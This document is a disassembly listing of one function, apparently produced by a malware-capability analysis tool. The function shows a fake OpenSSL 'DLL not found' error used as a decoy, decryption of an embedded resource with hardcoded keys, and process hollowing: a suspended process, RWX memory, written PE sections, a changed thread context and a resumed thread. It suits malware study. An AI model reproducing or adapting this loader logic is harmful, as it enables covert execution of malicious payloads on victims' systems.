Function at 0x1400fd530
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x280
mov rax, qword [0x14036ae40]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x70], rdx
xor r14d, r14d
lea r9d, [r14 + 0x20]
lea r8, str.OpenSSL
lea rdx, str.libcrypto_3_x64.dll_was_not_found._Check_files_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x14034f500]
mov edx, 0x84
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x1400fd5d7
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400fd5d7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x1400fd5d7
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x1400fd5dd
mov eax, r14d
mov r15, r14
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r14
mov r8d, 0x1d
lea rdx, str.OJNIEWGHONWEHGaOWENHWEasPHgf2
lea rcx, [rsp + 0x1c0]
call fcn.1400fe810
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], r14
mov qword [rsp + 0x160], r14
lea rsi, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 0xf
cmova rsi, qword [rsp + 0x1c0]
movabs rax, 0x7fffffffffffffff
mov rdi, qword [rsp + 0x1d0]
cmp rdi, rax
ja 0x1400fe03d
mov qword [rsp + 0x160], reloc.WS2_32.dll_ntohs
mov r12d, reloc.WS2_32.dll_shutdown
cmp rdi, 0xf
ja 0x1400fd6a0
mov qword [rsp + 0x158], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x148], xmm0
movabs r14, 0x8000000000000000
jmp 0x1400fd74f
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x1400fd6bf
mov rbx, rax
movabs r14, 0x8000000000000000
lea rax, [r14 + 0x27]
jmp 0x1400fd6ea
cmp rbx, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400fd70f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400fe043
movabs r14, 0x8000000000000000
mov rcx, rax
call fcn.14027f400
mov rcx, rax
test rax, rax
je 0x1400fd708
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400fd728
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400fd71b
call fcn.14027f400
jmp 0x1400fd71e
mov rax, r14
movabs r14, 0x8000000000000000
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1a0]
call fcn.1400fd2e0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8, r13
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.1400fe810
nop
cmp qword [rsp + 0x1b0], 0x20
jne 0x1400fe049
call fcn.1400ff590
mov rdi, rax
test rax, rax
je 0x1400fe06a
call fcn.140105080
mov rdx, rax
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call fcn.1401001b0
mov rcx, rdi
cmp eax, 1
jne 0x1400fe092
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0xf
cmova r9, qword [rsp + 0x1a0]
mov qword [rsp + 0x20], r15
xor r8d, r8d
xor edx, edx
call fcn.1401001b0
cmp eax, 1
jne 0x1400fe0bf
xorps xmm0, xmm0
mov rsi, qword [rsp + 0x60]
movdqu xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], r15
movabs r13, 0x7fffffffffffffff
test rsi, rsi
je 0x1400fd89d
cmp rsi, r13
ja 0x1400fe0ef
cmp rsi, 0x1000
jb 0x1400fd86c
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x1400fe0f4
call fcn.14027f400
mov rcx, rax
test rax, rax
je 0x1400fd865
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400fd874
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14027f400
mov qword [rsp + 0x148], rax
lea rbx, [rax + rsi]
mov qword [rsp + 0x158], rbx
mov r8, rsi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x150], rbx
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r9, qword [rsp + 0x50]
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
lea r8, [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
mov rcx, rdi
call fcn.1401001e0
mov rcx, rdi
cmp eax, 1
jne 0x1400fe0fa
movsxd rbx, dword [rsp + 0x140]
mov rdx, rbx
add rdx, qword [rsp + 0x148]
lea r8, [rsp + 0x140]
call fcn.1400ffe50
mov rcx, rdi
cmp eax, 1
jne 0x1400fe127
add ebx, dword [rsp + 0x140]
call fcn.1400ff510
movsxd rsi, ebx
mov rbx, qword [rsp + 0x148]
add rsi, rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x168], xmm0
cmp rbx, rsi
jne 0x1400fd951
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x168], 0
jmp 0x1400fda70
mov rax, rsi
sub rax, rbx
mov rdx, r15
mov qword [rsp + 0x178], rdx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x180], rdi
cmp rax, r13
ja 0x1400fe154
cmp rax, rdi
jbe 0x1400fda0c
mov rdi, rax
or rdi, 0xf
cmp rdi, r13
jbe 0x1400fd9ba
mov rdi, r13
lea rax, [r14 + 0x27]
mov rcx, rax
call fcn.14027f400
mov rcx, rax
test rax, rax
je 0x1400fd9de
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x178]
jmp 0x1400fd9fc
cmp rdi, 0x16
cmovb rdi, r12
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400fd9e5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400fe159
jmp 0x1400fd994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400fd9f9
call fcn.14027f400
mov rdx, qword [rsp + 0x178]
jmp 0x1400fd9fc
mov rax, r15
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x180], rdi
cmp rbx, rsi
je 0x1400fda4f
lea rcx, [rsp + 0x168]
cmp rdi, 0xf
cmova rcx, qword [rsp + 0x168]
movzx eax, byte [rbx]
mov byte [rdx + rcx], al
mov rdx, qword [rsp + 0x178]
inc rdx
mov qword [rsp + 0x178], rdx
inc rbx
mov rdi, qword [rsp + 0x180]
cmp rbx, rsi
jne 0x1400fda11
lea rax, [rsp + 0x168]
cmp rdi, 0xf
cmova rax, qword [rsp + 0x168]
mov byte [rdx + rax], 0
mov rbx, qword [rsp + 0x148]
test rbx, rbx
je 0x1400fdab1
mov rdx, qword [rsp + 0x158]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400fdaa8
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdaa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14027f444
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400fdaf1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdaec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdaec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
movdqa xmm0, xmmword [0x14034fa10]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], r15
mov qword [rsp + 0x160], r15
mov r8d, 6
lea rdx, str._mykey
lea rcx, [rsp + 0x148]
call fcn.1400fe810
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x78]
call fcn.1400fd2e0
nop
mov r8, rax
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x1e0]
call fcn.1400fd440
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x1400fdba8
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdba3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
movdqa xmm0, xmmword [0x14034fa10]
movdqu xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0x78], 0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x188], xmm1
mov qword [rsp + 0x198], rax
mov eax, dword [rsp + 0x1f0]
mov dword [rsp + 0x140], eax
lea rdx, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0xf
cmova rdx, qword [rsp + 0x1e0]
lea r8, [rsp + 0x140]
lea rcx, [rsp + 0x188]
call fcn.1400fd040
mov rbx, qword [rsp + 0x188]
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
cmp dword [rdi], 0x4550
jne 0x1400fde33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x200], xmm1
movups xmmword [rsp + 0x210], xmm1
movups xmmword [rsp + 0x220], xmm1
movups xmmword [rsp + 0x230], xmm1
movups xmmword [rsp + 0x240], xmm1
movups xmmword [rsp + 0x250], xmm1
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400fde2b
mov edx, 8
xor ecx, ecx
lea r9d, [rdx - 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400fde2b
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov r9d, dword [rdi + 0x54]
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, r12
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
cmp cx, word [rdi + 6]
jae 0x1400fddfc
mov r14d, ecx
nop
movsxd rax, dword [rbx + 0x3c]
add rax, r14
mov qword [rsp + 0x140], rcx
mov r9d, dword [rax + rbx + 0x118]
mov r8d, dword [rax + rbx + 0x11c]
add r8, rbx
mov edx, dword [rax + rbx + 0x114]
add rdx, r12
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x140], 0
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc r15
add r14, 0x28
movzx eax, word [rdi + 6]
cmp r15, rax
mov ecx, 0
jb 0x1400fdd60
mov eax, dword [rdi + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor r15d, r15d
mov rbx, qword [rsp + 0x188]
test rbx, rbx
je 0x1400fde87
mov rdx, qword [rsp + 0x198]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400fde6b
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fde6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14027f444
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], r15
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0xf
jbe 0x1400fdecd
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdec8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdec8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
movdqa xmm0, xmmword [0x14034fa10]
movdqu xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0xf
jbe 0x1400fdf2c
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdf27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdf27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0xf
jbe 0x1400fdf8e
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdf89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdf89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x1d8]
cmp rax, 0xf
jbe 0x1400fdff2
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fdfec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fdfec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14027f444
nop
mov r9d, gethostbyname
lea r8, str.OpenSSL
lea rdx, str.libcrypto_3_x64.dll_is_not_available__aborting...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14027f3e0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.1400fccb0
nop
call fcn.1400fcc10
nop
lea rcx, [rsp + 0x98]
call fcn.1400fccd0
lea rdx, [0x140364ed8]
lea rcx, [rsp + 0x98]
call sub.VCRUNTIME140.dll__CxxThrowException
lea rdx, str.Failed_to_create_EVP_cipher_context.
lea rcx, [rsp + 0xb0]
call fcn.1400fcd40
lea rdx, [0x140364e30]
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.1400ff510
lea rdx, str.Failed_to_initialize_decryption.
lea rcx, [rsp + 0xc8]
call fcn.1400fcd40
lea rdx, [0x140364e30]
lea rcx, [rsp + 0xc8]
call sub.VCRUNTIME140.dll__CxxThrowException
mov rcx, rdi
call fcn.1400ff510
lea rdx, str.Failed_to_set_decryption_key.
lea rcx, [rsp + 0xe0]
call fcn.1400fcd40
lea rdx, [0x140364e30]
lea rcx, [rsp + 0xe0]
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.1400fe340
call fcn.1400fcc10
nop
call fcn.1400ff510
lea rdx, str.Failed_to_decrypt.
lea rcx, [rsp + 0xf8]
call fcn.1400fcd40
lea rdx, [0x140364e30]
lea rcx, [rsp + 0xf8]
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.1400ff510
lea rdx, str.Failed_to_finalize_decryption.
lea rcx, [rsp + 0x110]
call fcn.1400fcd40
lea rdx, [0x140364e30]
lea rcx, [rsp + 0x110]
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.1400fccb0
call fcn.1400fcc10
int3